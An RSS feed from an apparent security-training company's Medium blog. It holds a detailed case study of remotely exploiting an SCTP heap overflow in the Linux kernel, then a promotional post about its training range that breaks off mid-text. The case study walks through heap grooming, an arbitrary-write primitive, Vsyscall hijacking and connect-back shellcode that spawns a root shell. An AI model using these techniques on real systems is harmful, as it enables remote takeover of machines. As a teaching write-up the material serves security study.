<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by PurpleSynapz on Medium]]></title>
        <description><![CDATA[Stories by PurpleSynapz on Medium]]></description>
        <link>https://medium.com/@purplesynapz?source=rss-b8f8be7b39ca------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hvneRVEtUfbbG3Xn3nxnug.jpeg</url>
            <title>Stories by PurpleSynapz on Medium</title>
            <link>https://medium.com/@purplesynapz?source=rss-b8f8be7b39ca------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:38:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@purplesynapz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Case Study: Remotely Exploiting Kernel]]></title>
            <link>https://medium.com/@purplesynapz/case-study-remotely-exploiting-kernel-b05cdc07addc?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/b05cdc07addc</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Tue, 27 Jan 2026 06:49:53 GMT</pubDate>
            <atom:updated>2026-01-27T07:02:38.338Z</atom:updated>
            <content:encoded><![CDATA[<p>SCTP is a unicast transmission protocol similar to TCP and UDP. Like TCP, it provides reliable transport service and session management, since it creates a relationship between two endpoints before exchanging data; the two endpoints may also be represented by multiple IP (multihoming). This established relationship is called SCTP association, and the initial association startup that creates it is called a four-way handshake. Different from TCP (which uses a three-way handshake) and more akin to UDP, SCTP is a record-oriented protocol. It sends data through data packets (called messages) instead of using a bitstream. Every packet is acknowledged, and moreover, the protocol itself is able to detect and re-order out-of-order messages.</p><p>An important aspect related to vulnerable code is SCTP’s multistreaming feature — a method of supporting multiple data channels, or logical connections, under the rubric of a single actual data connection. Each data packet under SCTP is sent as a data chunk inside a single message, and the loss of any messages within a stream does not affect any other streams. Moreover, every message can hold multiple different chunks — either control chunks or data chunks. Figure 1 represents a typical SCTP message holding one data chunk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*poLwi2J2ZUdR2sVaFbj9lA.png" /><figcaption>Data Packet structure of SCTP</figcaption></figure><h3>SCTP FWD CHUNK HEAP MEMORY CORRUPTION</h3><h3>The Vulnerable Path:</h3><p>Let’s now see how the vulnerable code manages this packet. The main function that processes SCTP FWD packets is the sctp_cmd_process_fwdtsn() function in net/sctp/cm_statefuns.c:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*8rc9WPiP-OFUcWWVvAZk0w.png" /></figure><p>The sctp_ssn_skip() function takes three arguments. The first argument is a pointer to the current input sctp_stream object, which in turns holds a reference to the ssn (which is an array of input streams). The second parameter, id, is the SI, which is treated as an index into the array of input streams. The third argument, ssn, is the new SSN as specified within the FWD chunk; it is used to update the array of input streams.</p><p>the SI is not checked, and thus you can overflow the ssn stream array. To better understand the relationship between the ssn stream array and the potential overflow, we must look at the two data structures involved, both of which are defined in the include/net/sctp/structs.h header file: sctp_stream and sctp_ssnmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*iJGYBLruXw64Faow-0DJ9g.png" /></figure><p>The sctp_ssnmap structure holds two sctp_stream objects: one related to the input stream and one related to the output stream. These two arrays are dynamically allocated at the end of the sctp_stream structure, one after the other. Moreover, the two sctp_stream structures hold corresponding pointers to their respective arrays (the ssn field). As far as the size of these two arrays is concerned, the input stream array’s size is computed during the SCTP association, when the two peers negotiate the number of inbound and outbound streams. During the four-way handshake, both peers send the number of wished-for outbound streams, as well as the maximum number of inbound streams permitted. The number of total streams negotiated within this handshake thusly shapes the size of the input and output arrays. Let’s look at the routine responsible for the allocation and initialization of these structures:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*JmX5-ZIefHlrHdDypyxOcQ.png" /></figure><p>The sctp_ssnmap_new() function is called when a new SCTP association takes place. It builds the sctp_ssnmap structure together with the associated stream arrays. At [7], the function calls the sctp_ssnmap_size() routine to compute the final object size:</p><blockquote>static inline size_t sctp_ssnmap_size(__u16 in, __u16 out)</blockquote><blockquote>{</blockquote><blockquote>return sizeof(struct sctp_ssnmap) + (in + out) * sizeof(__u16);</blockquote><blockquote>}</blockquote><p>By specifying the correct number of input and output streams during the association, we can correctly guess the size of the allocated object. It’s important to note that the sctp_ssnmap structure, as is the case with any other structure holding pointers and integers, has a different storage size on 32-bit and 64-bit systems. For example, taking into account the padding the C compiler applies to the sctp_ssnmap structure, the size is 40 bytes on a 64-bit system and 20 bytes on a 32-bit system. At [8], the sctp_ssnmap_new() function allocates the whole object using the SLAB/SLUB kernel allocator. This whole object holds the sctp_ssnmap structure plus the two stream arrays. For simplicity, from this point forward we will refer to this allocated object as an ssnmap object.</p><p>Finally, at the end of the function at [9], sctp_ssnmap_init() is called to zeroout the stream arrays and to initialize the input/output stream pointer. The in.ssn pointer addresses the input stream array and the out.ssn pointer addresses the output stream array. The input stream array holds all of the SI/SSN pairs that correspond to the input data, whereas the output stream array holds the SI/SSN pairs related to the output data.</p><h3>REMOTE EXPLOITATION: AN OVERALL ANALYSIS</h3><p>Now that we have explained the details of the vulnerability, we are ready to begin writing a reliable exploit against 32-bit and 64-bit Linux systems having an open and running SCTP application instance. The objective of the following analysis is to provide a cogent example of how to best use generic exploitation techniques to deal with a typical real-world attack scenario. Before we begin, it is worth summarizing the vulnerable environment. During the vulnerability analysis phase, we discovered the following facts:</p><p>The ssnmap object is allocated within the kernel heap:</p><ul><li>The stream arrays are placed together with the sctp_ssnmap structure in the same object we have called the ssnmap object.</li><li>The ssnmap object resides on the kernel heap memory.</li><li>It’s necessary to choose a given number of streams during the SCTP association request to guess the dynamic sctp_ssnmap size in memory.</li></ul><p>The Stream Identifier and SSN are unsigned 16-bit values:</p><ul><li>We can insert multiple SI/SSN pairs inside a single FWD-TSN chunk.</li><li>If the Stream Identifier is higher than the input stream array size, an index out-of-bounds overflow is triggered.</li><li>Every Stream Identifier/SSN can overwrite two bytes of memory.</li><li>The SSN_lt() function in a few circumstances can prevent the overwriting of some memory chunks.</li><li>We can overflow no more than 128KB after sctp_snnmap (the 16-bit positive index).</li></ul><p>In addition to all of this, we must take into account the fact that we have no information about the ssnmap object layout; we know only that it has been placed somewhere within the kernel heap. This implies that even if we were able to place the shellcode inside the ssnmap object, we cannot know its absolute memory address. When dealing with an issue such as this, we basically have two possible approaches from which to choose:</p><ol><li>The first approach involves directly overwriting a function pointer near the buffer that is being overflowed, thus forcing a kernel control path to jump somewhere inside a useful piece of already existing code residing at a known address (mainly the kernel .text). From this point on, this code will be able to manipulate the registers and memory areas that are temporarily holding references to the same buffer that is holding the shellcode. Unfortunately, this approach is impractical in the current scenario, as there are no easy-to-reach function pointers near the buffer being overflowed.</li><li>The second, more practical, method of attack consists of transforming the heap overflow inside an arbitrary memory overwrite primitive. We’ll then use the memory overwrite primitive to create our shellcode and place it in a known location, thus hijacking a kernel (or user) control path to force shellcode execution.</li></ol><h3>GETTING THE ARBITRARY MEMORY OVERWRITE PRIMITIVE</h3><p>To reach the arbitrary memory overwrite primitive, we must first at least gain control of a useful data pointer. As you can see, the layout of an ssnmap object holds two data pointers in addition to the buffer that is to be overflowed. Unfortunately, the unchecked index that is being used to overflow the array is unsigned; thus, there is no way to overwrite the backward data pointers. This is problematic, since in order to exploit the vulnerability a useful object must exist after the one that we are overflowing. With a bit of luck, we can adopt the technique of overwriting the adjacent object that we first used during our study of kernel heap overflows to circumvent this difficulty and move forward. Here, we will be trying to place two ssnmap objects adjacent to one another, and then trigger the overflow in the first object to overwrite the second object; more precisely, our goal is to overwrite the ssn input stream array pointer of the second object. The ssnmap object is an exceptional example of how a single object type can be used as a victim object, a target (triggering) object, and a placeholder object. It fulfills all of the needed requirements in the following manner: (1) It is the object where the overflow is triggered (i.e., the “victim object”); (2) it holds a data pointer that we can directly control after the overflow (i.e., the “target object”); and (3) we can serially allocate a number of these objects remotely, to completely fill the partial kernel slab (i.e., the “placeholder object”).</p><h3>Remotely Adjusting the Heap Layout</h3><p>The following code snippet from the original exploit shows how to create and send SCTP messages, to replicate the layout of the corresponding ssnmap objects within the kernel heap on the remote host (the “inserting placeholder objects” phase):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*C_RG03FItgBlLihiMes_yg.png" /></figure><p>The make_sctp_connection() function is responsible for remotely allocating a sequence of ssnmap objects matching the targeted SLAB/SLUB size, thereby creating a new connection. After a few tests, we found that the best/safest choice in this scenario was a 96-byte slab size when dealing with SLUB implementations, and a 256-byte slab size when dealing with SLAB implementations.</p><p>At [1], the function gets the SCTP socket parameters used in the four-way handshake. As we discussed earlier, this option is used to specify the number of inbound and outbound streams. The function adjusts them based on the target host’s heap allocation engine — for example, on a 64-bit system the ssnmap’s object size is 40 bytes (the structure header) plus the total number of bytes used by the allocated stream arrays.</p><p>If we are targeting a kernel using the SLUB implementation, then next [2] we need to create an object that is greater than 64 bytes (the size of the lower slab) but less than 96 bytes. By allocating 20 streams (10 input streams and 10 output streams), we can remotely allocate an 80-byte ssnmap object, which perfectly fills the 96-byte SLUB object.</p><p>Finally, at [3], the function sets up the new stream channel number and initializes the connection. Every new connection will allocate a new ssnmap object, thereby completely filling the partial slabs. After awhile, all of our new ssnmap objects (or at least every one that resides within the slab) will be allocated serially in memory.</p><p>To better understand what is taking place on the remote host, we can modify the target kernel to add a few debug statements. More precisely, we can add a few debug messages during allocation of the ssnmap structures, to show the relationship that exists between the addresses of those structures and the number of objects and slabs that are currently allocated. The next snippet shows the remote target system state before creating the SCTP associations (e.g., using the kmalloc-128 cache)</p><blockquote>Linux-server$ cat /proc/slabinfo | grep kmalloc-128</blockquote><blockquote>kmalloc-128 724 960 128 32 1 : tunables 000: slabdata 30 30 0</blockquote><p>As you can see, the kernel has 724 active (used) objects, but it can potentially allocate another 236 (i.e., 960−724) objects without creating any new slabs; all of these objects lie within the partial slabs, and during the first associations they are picked up almost randomly. The next snippet shows the addresses of the first ssnmap objects that are allocated:</p><blockquote>Linux-Server$ dmesg | grep sctp_ssnmap_new | last -8 [43008.251172] [sctp_ssnmap_new()]: addr: ffff88001a89f500, (size=128) [43008.262476] [sctp_ssnmap_new()]: addr: ffff88001a89f480, (size=128) [43008.268550] [sctp_ssnmap_new()]: addr: ffff88001a89f100, (size=128) [43008.265336] [sctp_ssnmap_new()]: addr: ffff880018ab7380, (size=128) [43008.266332] [sctp_ssnmap_new()]: addr: ffff880018ab7f80, (size=128) [43008.266405] [sctp_ssnmap_new()]: addr: ffff880018ab7180, (size=128) [43008.283463] [sctp_ssnmap_new()]: addr: ffff880018ab7100, (size=128) [43008.293538] [sctp_ssnmap_new()]: addr: ffff880018ab7300, (size=128)</blockquote><p>When every partial slab has been filled the system will allocate a new slab; from this point on, every new ssnmap object will be allocated sequentially into the new slab, and thus will have sequentially incremented (predictable) memory addresses.</p><blockquote>Linux-Server$ dmesg | grep sctp_ssnmap_new | last -10 [141351.647211] [sctp_ssnmap_new()]: addr: ffff880003567000, (size=128) [141351.647248] [sctp_ssnmap_new()]: addr: ffff880003567080, (size=128) [141351.658070] [sctp_ssnmap_new()]: addr: ffff880003567100, (size=128) [141351.661107] [sctp_ssnmap_new()]: addr: ffff880003567180, (size=128) [141351.668409] [sctp_ssnmap_new()]: addr: ffff880003567200, (size=128) [141351.678602] [sctp_ssnmap_new()]: addr: ffff880003567280, (size=128) [141351.684211] [sctp_ssnmap_new()]: addr: ffff880003567300, (size=128) [141351.699247] [sctp_ssnmap_new()]: addr: ffff880003567380, (size=128) [141351.701934] [sctp_ssnmap_new()]: addr: ffff880003567400, (size=128) [141351.709971] [sctp_ssnmap_new()]: addr: ffff880003567480, (size=128)</blockquote><h3>Building SCTP Messages: From Relative to Absolute Memory Overwrite</h3><p>After remotely allocating a number of ssnmap objects and making sure they have all been allocated sequentially (i.e., that the partial slab has been filled in the correct order), we must keep track of two consecutive SCTP connections. The exploit keeps track of two consecutive connections in a separate thread in the raw_socket_engine() routine. The raw_socket_engine() function simply monitors all outgoing SCTP traffic and keeps track of all of the connections, then returns the details regarding the last two opened connections. Those details, relative to the current TSN and VTAG, are subsequently used by the send_ fwd_chunk() function to build and send SCTP messages holding FWDTSN chunks. The most important step during this exploitation phase is related to SCTP message building. As we discussed previously, every SSN pair can be used to overwrite two sequential bytes of memory. The packet is therefore built in this way:</p><ol><li>The SI holds the offset from the beginning of the input stream array. Knowing the header and the input array size, we can easily guess the correct offset, which we will then use to overwrite the next ssnmap object.</li><li>The SSN holds the data that will be overwritten; this could be a handful of bytes representing an absolute address, a piece of the shellcode, or both.</li><li>Since the first step regards overwriting the following ssnmap object’s ssn pointer, our SSNs will now contain the new address we wish to use in place of the old ssn pointer. Overwriting this pointer will allow us to virtually shift the input stream array to wherever we want it to be; thereafter, any other SCTP messages holding data or FWD chunks that refer to the next ssnmap object will be used to overwrite arbitrary memory with arbitrary attackercontrolled data. By doing this, we have successfully transformed a relative heap overflow into a remote arbitrary memory overwrite.</li><li>From this point forward, we now have some sort of fully workable implementation of a remote memcpy(); from now on, the data source (SSN) and the destination address (SI offset) are completely under our control.</li></ol><p>The actual SI/SSN-building code (which we will be using like a sort of virtual memcpy() function) actually resides within the build_stream() function (shown next), and takes three arguments: (1) the data buffer holding data to be written out, (2) the size of that data buffer, and (3) the offset relative to the current ssnmap object input array:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*iNPpkiV0Ktml-MSjrxJYzA.png" /></figure><p>At [1], the routine finds out how many SI/SSN pairs are needed to perform the copy in its entirety. Next, at [2], it starts copying the source buffer two bytes at a time, inserting three special SI/SSN sequences (which we’ll call wraparound stream pairs) at [3] and [4]. Finally, at [5], it inserts the data into the last stream pair. This loop is then executed continuously until all of the data has been inserted into each SI/SSN pair in turn. But what is a wraparound stream pair, and why do we need them? Let’s find out. During our initial description of the vulnerability (in the section “The Vulnerable Path”), we noted that the SSN is written out only if it passes the check performed by the SSN_lt() function — in other words, if the old SSN value is smaller than the new SSN value. If it does not pass this check, the SSN will simply be ignored. Moreover, we have to take into account that during the overflow, the old SSN value is represented by heap memory above the victim object, the contents of which are totally (or at least partially) unknown — that is, we can control the data being overwritten, but we have no knowledge of what that data actually is.</p><p>To bypass the SSN_lt() check, we must make use of wraparound streams. The SSN space is finite, all arithmetic dealing with SSNs has to be performed modulo 216. For example:</p><blockquote>new_ssn = (old_ssn + N) mod 216</blockquote><p>This is precisely when our wraparound streams participate in bypassing the SSN_lt() check. The wraparound streams are put in front of the real request, to adjust old_ssn in such a way that our data will be accepted. We need, at most, three fake SI/SSN pairs to adjust old_ssn in a suitable manner. Given the preceding example, we will have to write the 0xFFD0 value; since it is greater than 0x7FFF [3], we can use shift_8000_to_ ffff, as it holds the three fake SSN values used to adjust old_ssn (namely 0xFFFF, 0x7FFE, and 0x8000). When we apply the first SSN nothing happens, since the original value was 0xFFFF; applying the second SSN causes old_ssn to wrap around to 0x7FFE, and applying the third SSN causes old_ssn to wrap around to 0x8000. At this point, we can finally successfully write the 0xFFD0 value. The SSN_lt() check lets it pass, since the old_ssn value is now 0x8000, and thus the gap is sufficiently small enough (always less than 0x7FFF).</p><h3>INSTALLING THE SHELLCODE</h3><p>Now that we have successfully created the memory overwrite primitive, our next step concerns creating our shellcode. To do this, we need to perform the following steps:</p><ol><li>Identify a suitable memory area which: (i) Has to be writable (ii) Has to be reachable by a kernel or a user control path</li><li>Identify a suitable working shellcode which: (i) Gets the highest privileges (ii) Injects code into a user-land process (iii) Creates a connect-back while in user mode to give us access</li></ol><p>Until now, we have had to deal with only a few minor differences between 32-bit and 64-bit systems: the ssnmap object size, the offset between objects, and a handful of other minor issues. From this point forward, the exploitation steps between the two architectures will be very different, beginning with the shellcode type we are planning to employ and including the location where we will be able to store it. First, we need to take care of the NX (No eXecute) feature. On 64-bit systems this feature is enabled by default, and because of this we cannot place the shellcode within a nonexecutable memory region. On the other hand, we should try, where possible, to find a way to avoid multilayered shellcode (which is far more complicated and unstable). One way to do this involves using user/kernel shared memory segments. On the following pages, we will demonstrate two different approaches that are available to us: one for multilayered shellcode on 32-bit systems and one for taking advantage of the user/kernel shared memory segment on 64-bit systems.</p><h3>Directly Jumping from Interrupt Context to User Mode</h3><p>As you just saw, all writable kernel segments are marked as nonexecutable; thus, we cannot store the shellcode in this area. Moreover, it’s not always possible to guess the exact address and layout of kernel page tables that we would need to know to remove the NX protection on demand. We need to find a workaround.</p><h3>vDSO and Vsyscall</h3><p>Currently, the vDSO is a virtual kernel-provided shared library that assists the user space in automatically choosing the most efficient system call mechanism. Originally, all system calls were performed through the software interrupt 0x80; switching to kernel mode in this way is inefficient, since the CPU must perform multiple memory reads and privilege checks every time the system call is executed. It was clear that it would be much faster if the CPU knew the system call kernel entry point in advance. As such, the CPU could avoid any unnecessary memory reads or privilege-level checks.</p><p>The key concept to understand here concerns how the kernel accesses the Vsyscall table when handling user-mode processes. Since the kernel needs to have write access to the Vsyscall table to modify data related to hosted virtual system calls (e.g., it needs to modify timer-related variables and structures used by vgettimeofday() and vtime()), it always addresses the original kernel mapping (the one referred by the __vsyscall_0 symbols). User-mode processes, however, can access the Vsyscall table read/execute-only, via the just-created special mapping. We will call the original kernel mapping a shadow mapping to distinguish it from the kernel/user shared mapping that is also accessible by user-mode processes.</p><p>Differing from the vDSO, the two different virtual mappings in the Vsyscall table address the same physical page; thus, any change the kernel makes via the shadow mapping is also reflected, as is, to the shared user/kernel mapping. This means that if the kernel modifies the code of a virtual system call, every usermode process will be able to access the new Vsyscall code simultaneously.</p><h3>Overwriting the Vsyscall</h3><p>We saw in the preceding section that we can overwrite arbitrary kernel memory with totally controlled data. We also saw that there is a shared memory section between user and kernel space that the kernel can write to, and that a lot of usermode processes repeatedly call into this shared memory section. We can combine what we just learned to inject a shellcode directly into a user-mode process by hijacking a virtual system call. But what happens if the shellcode is bigger than the virtual system call code we want to hijack? The other virtual system calls will be thrown away. To overcome this problem, and to further simplify the exploit, we might just consider overwriting the first few bytes of the virtual system call, and patching it with a near jump instruction, which in turn hits the shellcode. Curiously, since the current Vsyscall implementation does not take up the whole page, we can easily store the shellcode within the page’s unused portion. Taking a look at the Vsyscall page layout, we can see that the last Vsyscall element is placed very close to the middle of the Vsyscall page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*6S8QCqlkKqJPcOwQfgcEFQ.png" /></figure><p>.jiffies is the last section placed within the Vsyscall memory; it is stored at offset 0x8c0, and it is eight bytes wide. The remainder of the page does not hold any meaningful data, and thus we can overwrite it without worry. Now, let’s come back to our exploit to show how the shellcode is placed on the remote box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*MwyPk7mUcdtu1P9ZpqScPw.png" /></figure><p>At [1], the function computes the correct offset at which to store the shellcode. We placed it 0x930 bytes past the beginning of the Vsyscall (i.e., a bounce of bytes past the last Vsyscall element). At [2], the code builds the TSN chunk by calling the build_stream() function; k-&gt;scodesize holds the shellcode size and k-&gt;scode addresses the shellcode itself. At [3], the function actually sends the TSN chunk that will create the shellcode. Next, at [4], the function builds a new chunk to overwrite the entry point of the vgettimeofday() virtual system call. The offset used here is zero, since the vgettimeofday() entry point is stored exactly at the beginning of the Vsyscall table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OIarcZL2Qv8G4QTZ_gB6AQ.png" /></figure><p>After having overwritten the entry point with a jump instruction, which in turn addresses the shellcode, we have to wait for a random user-mode process to call the gettimeofday() system call. The C library will then redirect the gettimeofday() call to the hijacked vgettimeofday() virtual system call. At this point, it is just a matter of time before the shellcode is hit.</p><h3>EXECUTING THE SHELLCODE</h3><p>Our shellcode has to carry out a few specific tasks:</p><ol><li>Check if the current process fulfills our requirements.</li><li>Force the hijacked process to execute a connect-back against the attacker box.</li><li>Emulate the vgettimeofday() function, re-calling the original gettimeofday().</li><li>Permanently recover the Vsyscall.</li></ol><p>The first three tasks can be carried out by the shellcode itself, whereas the fourth task is most likely a restore issue which, in this scenario, cannot be accomplished by the shellcode alone.</p><h3>Checking the Current Process and Emulating the gettimeofday() function</h3><p>Because the shellcode is executed entirely in user mode, there is no way to directly escalate privileges from it. Considering that the hijacked virtual system call will be hit by every single process, and since there are a lot of processes running as root that call this function (e.g., the syslogd daemon, the crond daemon, and sometimes even the init daemon), it will be well worth it to wait for a calling process running with the highest possible privileges. To deal with this enforced wait, the shellcode looks at the current process UID; if it is a low-privilege process, the shellcode will simply emulate the original call and then exit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*-BTjSHm_dozdCOXiVCPYkw.png" /></figure><p>Here the shellcode calls the getuid() system call through the syscall instruction (which is supported on every 64-bit x86 processor), using the system call vector 0x66. If the result is not equal to zero, the process is not privileged, and the shellcode will jump to the emulate section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*9sXw-lwK_J5CuFtQXADzNA.png" /></figure><p>If the process UID is zero, the shellcode calls the fork() system call (vector 0x39), to create a child process. After fork() returns, two processes will be running on top of the shellcode. The child process takes the branch at the virtual offset, thus jumping to the connectback section, while the parent process continues execution inside the emulate section, and then returns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*8ZwcnV0jTRgmezD4Q56-0w.png" /></figure><p>This section, which is called by the parent, simply calls the gettimeofday() function using the old-fashioned syscall instruction as though the Vsyscall were disabled; thereafter, it returns to the caller.</p><h3>Executing the Connect-Back</h3><p>Shellcode section calls a few network system calls to create a new connection. The shellcode connectback section starts by creating a new TCP socket (vector 0x29). Next, it creates a connection back through a connect() system call (vector 0x2A). The port number and the IP address (both of which are stored in the stack) are hardcoded inside the mov instruction at virtual offset 60459a. The exploit has to patch this instruction at runtime to reflect the destination IP address and port number that the attacker chose. If the connection is completed successfully, the shellcode will take the branch and continue its execution. If the connection times out, or if there is an error in the network, the exit_group() system call will be executed, and the child will exit. If this were to happen, we would simply have to wait for a new process to hit the shellcode, at which point this entire cycle would repeat until a connection was completed successfully.</p><p>This last part calls the dup2() system call (vector 0x21) in a tight loop, to redirect standard input/output/error code over the socket connection. Next, it executes the /bin/sh shell through the execve() system call (vector 0x3b). If execve() should fail, the shellcode calls exit_group() to kill the current process.</p><h3>Recovering the Vsyscall</h3><p>After the shellcode connects back to us and we have a working remote interactive shell to play with, we no longer need (or want) to force every remote process to call the shellcode path. At this point, we must remove the shellcode, or at the very least remove the initial jump instruction placed at the start of the Vsyscall. When we have to overwrite the Vsyscall again, we will face a couple of hurdles:</p><ul><li>We cannot overwrite it directly, since user-mode processes can access the Vsyscall only through the special mapping that grants only read/execute access rights.</li><li>We don’t know the previous bytes stored in place of the jump (actually, if we know the exact running kernel, it is possible for us to know what these bytes are; whenever possible, however, it is far more practical to adopt a general purpose technique).</li></ul><p>To bypass the first problem we can once again just take advantage of the memory overwrite primitive that we built in the previous steps. To eliminate the second problem, we can simply overwrite the start of vgettimeofday() with the code that emulates it. The emulation code simply calls the traditional implementation of gettimeofday() through the syscall instruction. The exploit recovery code resides in the original exploit, within the patchjump() function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*GPBqGsuq0ocprj2YBXUvVw.png" /></figure><p>As we discussed in the section “Remotely Adjusting the Heap Layout,” the code builds a new FWD chunk using the k-&gt;vsyspatchjump array, which holds the code to emulate vgettimeofday(). The following code is used to emulate the virtual function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*uZWvrZTsTT-xFSDqsxta0A.png" /></figure><p>At this point, we can enjoy full root privileges on the remote machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*ULaDfaVjmovspJvIkiGTGA.png" /></figure><h3>Conclusion:</h3><p>We discussed how writing a real-world remote kernel exploit involves overcoming multiple challenges and hurdles, including everything from analyzing the kernel’s vulnerable protocol implementation to remotely controlling the kernel memory manager. Even though every remote kernel vulnerability requires its own individual exploitation approach a few common approaches can be adopted, adapted, and reused. We provided an overview of SCTP, why the PR-SCTP protocol extension is vulnerable, and how we can trigger the vulnerability. We then began our walkthrough of the exploit implementation. The first difficulty we faced involved figuring out how to gain control of the remote SLUB memory layout. We discussed how it is possible to create many placeholder objects and then use the “overwriting the adjacent object” technique to overwrite an adjacent controlled structure. After taking control of this structure, we had to transform a data-pointer overwrite into a reliable memory overwrite; using this pattern we were then able to store the shellcode in the kernel memory. The next hurdles, which we dealt with toward the end, were related to the shellcode itself — that is, where it can be stored, and how we can leave the interrupt context to reach a privileged user-mode process so that we can use the shellcode. At this point, we introduced the Linux shared segments, the vDSO and the Vsyscall, and provided a brief overview of their implementations and structures as well as how we might take advantage of them to directly inject the shellcode into every user-mode process at the same time. Finally, we analyzed the shellcode, how it can interact with user processes, and how we can finally gain control of the remote system by getting the connection back with a fully privileged shell.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b05cdc07addc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Purple Range from PurpleSynapz is Revolutionizing Cybersecurity Education: A Market-Defining…]]></title>
            <link>https://medium.com/@purplesynapz/how-purple-range-from-purplesynapz-is-revolutionizing-cybersecurity-education-a-market-defining-b976b21dcac6?source=rss-b8f8be7b39ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/b976b21dcac6</guid>
            <dc:creator><![CDATA[PurpleSynapz]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 06:32:46 GMT</pubDate>
            <atom:updated>2025-07-28T06:32:46.129Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How Purple Range from PurpleSynapz is Revolutionizing Cybersecurity Education: A Market-Defining Innovation</strong></h3><p>In an era where cybersecurity threats evolve at lightning speed and the global skills gap continues to widen, traditional training methods are failing to prepare the next generation of cyber defenders. With over 3.5 million unfilled cybersecurity positions worldwide and India facing a significant portion of this challenge, the industry desperately needed a paradigm shift<a href="#fn1">[1]</a>. Enter Purple Range from PurpleSynapz — a hyper-realistic simulation platform that has not only transformed how cybersecurity professionals are trained but has fundamentally influenced the learning market’s trajectory toward practical, hands-on education.</p><p><strong>The Genesis of Revolutionary Training</strong></p><p>Purple Range represents more than just another training platform; it embodies a philosophical shift from theoretical education to experiential learning<a href="#fn2">[2]</a><a href="#fn3">[3]</a>. As a <strong>hyper-realistic simulation platform</strong>, Purple Range addresses a critical gap that has plagued cybersecurity education for decades — the disconnect between classroom theory and real-world application<a href="#fn4">[4]</a>. Unlike traditional programs that rely heavily on theoretical knowledge, Purple Range offers over 50 built-in real-world attack scenarios that allow learners to experience and defend against actual cyber threats in a controlled environment<a href="#fn3">[3]</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*Mb58OFeYtKMcTaZUryJFGA.png" /></figure><p>Modern cybersecurity training lab with simulation-based learning</p><p>The platform’s foundation rests on the “purple team” methodology, which bridges the traditional divide between offensive (red team) and defensive (blue team) cybersecurity approaches<a href="#fn5">[5]</a>. This collaborative framework has proven instrumental in developing well-rounded professionals who understana skillset increasingly valued by employers who report that <strong>93% prefer candidates with hands-on cybersecurity experience</strong><a href="#fn6">[6]</a>.</p><p><strong>Transforming the Indian Cybersecurity Education Landscape</strong></p><p>India’s cybersecurity market, projected to reach $3,543.37 million by 2027 with a CAGR of 8.05%, faces unique challenges<a href="#fn4">[4]</a>. The country’s rapid digital transformation, accelerated by initiatives like “Digital India,” has created an urgent demand for skilled cybersecurity professionals<a href="#fn1">[1]</a>. However, traditional educational institutions have struggled to keep pace with industry requirements, often delivering outdated curricula that fail to prepare students for real-world challenges<a href="#fn4">[4]</a>.</p><p>PurpleSynapz has positioned itself as a pioneer in addressing these shortcomings through Purple Range. The platform’s impact on India’s cybersecurity education market is evident in several key areas:</p><p><strong>Practical Skills Development</strong></p><p>Purple Range enables students to develop hands-on experience with multiple InfoSec technologies, including SIEM, Wireshark, Splunk, Check Point, and Ethical Hacking<a href="#fn7">[7]</a>. This comprehensive exposure ensures graduates are job-ready from day one, addressing the critical skills gap that has historically plagued the industry.</p><p><strong>Industry Recognition and Placement Success</strong></p><p>The platform’s effectiveness is demonstrated through tangible outcomes. PurpleSynapz reports a 4.8/5 rating based on 267 reviews, with successful placements at leading companies including KPMG India, Capgemini, Bosch India, and ITC Infotech<a href="#fn8">[8]</a><a href="#fn9">[9]</a>. The average salary of Rs. 3.7 lakhs for Cyber Pro alumni further validates the program’s market relevance<a href="#fn10">[10]</a>.</p><p><strong>Bridging Academia-Industry Gap</strong></p><p>By offering simulation-based training that mirrors real corporate environments, Purple Range has helped bridge the notorious gap between academic learning and industry requirements<a href="#fn4">[4]</a>. The platform’s ability to mimic modern infrastructures and attack scenarios ensures that students gain exposure to the exact challenges they’ll face in their careers.</p><p><strong>Driving Market-Wide Adoption of Simulation-Based Learning</strong></p><p>Purple Range’s influence extends far beyond PurpleSynapz’s immediate educational offerings. The platform has catalyzed a broader industry shift toward simulation-based cybersecurity training, contributing to what industry experts now recognize as a fundamental transformation in how cybersecurity education is delivered.</p><p><strong>The Simulation Advantage</strong></p><p>Research consistently demonstrates the superiority of simulation-based training over traditional methods. Studies show that <strong>cyber range training improves memory retention by 75%, compared to just 5% through traditional learning methods</strong><a href="#fn11">[11]</a>. This dramatic improvement stems from simulation-based education’s ability to engage multiple learning modalities simultaneously, 